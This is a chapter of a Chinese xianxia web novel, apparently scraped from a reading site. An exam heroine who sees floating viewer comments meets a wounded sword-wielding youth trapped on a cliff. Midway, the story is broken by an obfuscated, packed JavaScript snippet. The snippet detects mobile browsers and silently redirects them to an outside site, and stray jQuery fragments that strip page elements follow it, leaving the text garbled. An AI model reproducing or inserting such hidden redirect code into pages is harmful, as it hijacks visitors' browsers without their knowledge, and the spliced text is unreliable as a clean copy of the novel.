-
殿宇内，一众长老峰主盘坐于各自的法器上，环绕浮于乾坤传影镜四周，闭目凝气，偶尔睁开眼睛，又缓缓阖上。
起初观察数十万考生时，他们还有些许闲致，讨论其中的天之骄子，但五天过去，考生的进展出现明显分层，哪些能最先抵达终点，基本尘埃落定，没什么新鲜可看。
至于江逐灵这个小插曲，早被忘到九霄云外去了。
只有负责监考的长老对着传影镜记录不停。
今年生源质量不错，但拔尖者少，以他对几位峰主收徒的了解，恐怕还是没有亲传弟子……
一名长老在记录时，看到镜中的场景，愣了愣，与身边的同门商议。
“这名考生是原本一支先锋队伍里的领队，整整两天都停在定海崖上没动了。一起停在定海崖上的还有镇海周氏的仆从……”
同门的视线从另一面镜子上划过，蹙眉，知道他在想什么，于是摇头。
“规则允许这么做，别多想，记你的。”
“可是。”
“哼，惋惜啥。年纪轻轻，背后没有势力，却去招惹镇海周氏。这样冲动莽撞的人，在仙界能走多远？栽就栽了。”
老头闻言，只好叹一口气，低头记了两笔。
“元稚，怎么天天唉声叹气？”背后响起询问，声音厚重有力。
说话的仙人虎背熊腰，是个体修。仅仅盘坐着，比不少体修弟子站着还高，小臂上鼓起的肌肉和正常人脑袋一般大。脸上虬髯戟张、须发皆猬。
名为元稚的老人看似比他年长，却恭恭敬敬喊了声“师尊”。他成为长老之前，便是这人的弟子。
“有名考生，是个可塑之才，但被上百名周氏仆从困在了定海崖上，弟子不禁惋惜。”
潘虬望向他面前的传影镜，大手一挥，山景顿时不停放大，直到画面深入一个洞穴。
少年靠在嶙峋石壁上喘息，身旁靠着柄重剑。剑身破旧，布满了主人修护的痕迹。
眼底闪过兴味。
“重剑？”
元稚进一步解释：“弟子观察他许久，此子泻净灵气，依旧健步如飞，天生精力无穷，是块体修的好料子。原本遥遥领先，但受周氏针对，恐怕通过不了考核。”
潘虬嗬嗬笑了两声，殿内顿时笑声回荡：
“那帮修仙世家，个个小肚鸡肠！不过修仙界的天之骄子多了，十有八九都是表面厉害，元稚何必可怜这个，可怜那个。”
他笑声惊动了坐在身侧的江亭上。
他睁开眼：“潘虬上仙，可是遇到了心仪的弟子？”
潘虬又一挥，乾坤传影镜的画面恢复了。
“还不好说。不过这小子能通过的话，我倒是考虑考虑，你们莫抢。”
其他仙人也睁眼瞥了一眼，无趣地闭上。
临江峰峰主每次考核都这样聒噪，看到个体修的好苗子急着口头预定，通天石测出的灵根不尽人意时，他又是最嫌弃的。
这么多年，没见他真收过一个弟子。
只有江亭上认真地跟他一起观察那个体修少年。
不看不要紧，一看发现同一面镜子里还有个小小的身影，是自己孩子。
这几日他在传影镜中看不到女儿的身影，捏碎玉符弃考的人里也没有她。江亭上嘴上不说，心中不住担忧。
看到她出现后，狠狠松一口气。
五日抵达定海崖，是往年通过考核的最慢速度了。她卡在这个时间出现在定海崖，时间非常尴尬。
江亭上蹙眉，心想这孩子醒悟得晚了些……
潘虬见他发愣，问句“怎了”，很快意识到在看谁。
“哟，这丫头还□□着？”
“看来亭上仙人的女儿要凭实力进入我宗了？”
潘虬一句话喊得殿内人尽皆知，连殿外路过的弟子都听见了。
江亭上干咳两声：“小女任性，想一出是一出。我也管不了她，都随她去吧。”
其他仙人闻言，很给面子地点了点头，不再说什么。
心道江亭上的孩子心性太差，这个时候努力，估计也是一时兴起，坚持不了多久。
五天抵达定海崖，这速度太慢了。她四肢不勤体力又弱，太缺乏基础，要通过考核，简直异想天开。
不过殿外的弟子好事，闻声跑去开了赌局。
“你们猜猜，江峰主的女儿到哪儿了？定海崖。你别说，不是没有可能通过考核呢。”
“哈哈哈哈，居然能坚持到现在，也是不容易。”
“要不……开个赌局？”
“怎么开？傻子才押她过。我这个月的灵石可不够用了，不想做赔本买卖。”
“……”一时间，没人说话。
“什么赌局？让我也瞧瞧吧。”人群中冒出一个温吞的话音。
周遭沉默了片刻，爆发出一声惊呼。
“三师兄！”
“三师兄，你终于出关了？”他们的注意力全都转移到来人身上，表现得十分惊喜。
“三师兄肯出关，一定是炼出了极好的丹药吧？”说话之人腼腆地搓着手，“我原本备了一百灵石，专门等你出来，可惜等得太久，上个月在仙城花了点……”
“三师兄，我我我，有三百灵石！”
“嗯……诸位别急。”那人温声回应着，走到长桌前。
零碎的灵石都堆在桌子一边，另一边空空荡荡。
他端详片刻，从袖中掏出五枚晶莹剔透的上品灵石，每一块可抵百枚普通灵石，放在空旷的桌角上。
“我还有几只药炉刚刚熄火，待打扫干净，将丹药整理出来，再通知大家……小赌怡情，还是不要玩得太过，被仙长们责罚了。”
说罢笑了笑，头也不回地走了。白衣带着一股清润药香，随着他稳静的步伐飘动，像个凡间话本里走出来的、无欲无求的仙人。
留下一群人盯着散落在桌角的上品灵石，眼睛冒着绿光。这和直接送给他们有什么区别？
“三师兄还是这么大方……”
话音落下，无数只手伸出来，纷纷把灵石押在“江逐灵无法通过考核”那边。
-
定海崖的山壁几乎直直垂下，栈道上的石梯陡峭，生了大量苔藓也无人洒扫。
江逐灵背着厚厚的行囊，双手在石壁上扣出了血印子，才没摔下去。
途径一处洞口时，停下脚步。
弹幕静寂了一个昼夜，再度沸腾起来。她知道找对地方了。
“小师妹往哪里去了，我没有看错吧。”
“为什么第五天才走到定海崖？和原来的剧情不一样。她到底服用作弊丹药了没有？”
弹幕似乎不能看到她的所有行为，只能在看到重要剧情节点时进行评论。
江逐灵发现了这点。
她朝洞穴内走去。
“咻——”
里面一颗石子飞出来，险些擦过她的脸庞。
“出去！”黑暗中传来一声嘶哑的低吼。
江逐灵顿住脚步，以为自己走错地方了。这声音和五天前少年给她留下的印象判若两人。
她累得深吸几口才缓过来，注意到四周散落的破碎玉符，还有不少带血的断箭、破旧兵器。
空气中有淡淡血腥味，看来经过一场恶战……
洞内似乎只有一人，考核开始时那支浩大的队伍不见了。
弹幕发现剧情改变，满屏的问号，其中掺杂着几句冷嘲热讽。
“怎么回事？小师妹和五师弟见面了？”
“啊？是作者改剧情了吗？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255474|182062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“送上门的干粮，五师弟快抢过来，反正她有作弊丹药。”
“居然见面了。小师妹快帮一帮五师弟吧，我磕你俩。”
“五师弟根本不会喜欢小师妹这种人，都朝她扔石子了。小师妹还不快滚。”
“……”
江逐灵被扔石头，低声骂了句“神经”，无视他。
双脚太久没沾到平地，膝盖一软，扶着墙面靠坐下来。对方不让她接近，她索性原地休息会儿。
里面的人见不是冲他来的，仿佛呼吸滞了会儿，有些尴尬。
于是石子没有继续向她扔来。两个人在山洞两端达成了某种默契，谁都没有开口打扰对方。
少年倚在角落里，捂着伤口，后脑勺仰靠着。眼帘下余光闪烁，有人影逆着光，难以看清，仅能判断身形是个瘦弱的姑娘。
镇海周氏的仆从都是壮汉，没有女人。
发现认错人，眼睛疲倦地眯起。
半晌，他主动开口，语气僵硬。
“你若想通过考核，不要在此地休息。”
“为何？”
江逐灵问，顿了顿，解释自己为何停在这里，“我实在走不动了，才在这里休息。前方能歇脚的地方还远着呢。”
少年闻言，烦躁地揉了揉脑袋，混着沉重的喘气声开口：“镇海周家的人守在上面要杀我，看见你从这出去，便成了我的同伙。”
“……说晚了，我已经进来了。”江逐灵静静陈述事实，“何况我走不动路，被后面的考生追上，他们会为了过路把我推下山崖的。”
少年叹口气，不再说话，眉头紧锁着。
江逐灵察觉到他没有敌意了，轻声试探：“你愿意提醒我，看来是个好人。我叫江逐灵，你叫什么？”
对方没有说话，她犹豫许久，想问第二遍的时候，终于回应了。
“北安流。”
找对人了，她心中道。
“哦……没听过，还以为能得罪镇海周家的是什么大人物。”她说罢，自然而然拆开行囊，拿起两块干粮向他靠近。
光线照不到的地方，模糊的面庞轮廓勉强和那日看到的少年对应上，可惜神采不复，只剩下狼狈。他仰头与她对视，一只手扣在身边的石块上，警惕地往后缩了缩。
“干什么？”
“看大人物长什么样。”
“……”
“也不怎么样。”她小声嘀咕，说了句真心话。她素来不爱与人交际，要不是为了通过考核，才不会主动接近一个普普通通的小体修。
“……这么黑，能看清什么？”
他听清了，语气十分不爽。
江逐灵没说话，在他对面坐下，扔了块干粮过去。
她真的饿了，埋头吃起来。
北安流有些琢磨不透她的性子，迟疑着没有捡起干粮。
食物撑得她两边腮帮子鼓起，口齿不清：“给你的。”
北安流沉默片刻，语气缓和不少。
“你自己留着吧。”
“少客气。”
“不……给我也没用了。”他捂着伤口的手紧了紧，低下头去。
海上的天气说变就变，方才还有放晴之势，现在下了瓢泼大雨。潮湿的风吹进巢穴，将二人与外界隔绝开。
江逐灵知道他可以通过考核，哪怕弹尽粮绝被困在崖壁上半个月之久。
他说这句话时，恐怕心中还憋着一团火，只是不想连累别人。
她笑了笑，心想怎么能不被连累。跟他站成同一条绳上的蚂蚱，才有通过考核的希望。
于是一语戳穿：“吃顿饱饭已经没用的话，你早就捏碎玉符了。”
北安流愣住，干涸的嘴巴张了张，发出嘶哑的笑声。
难为他这时还笑得出来。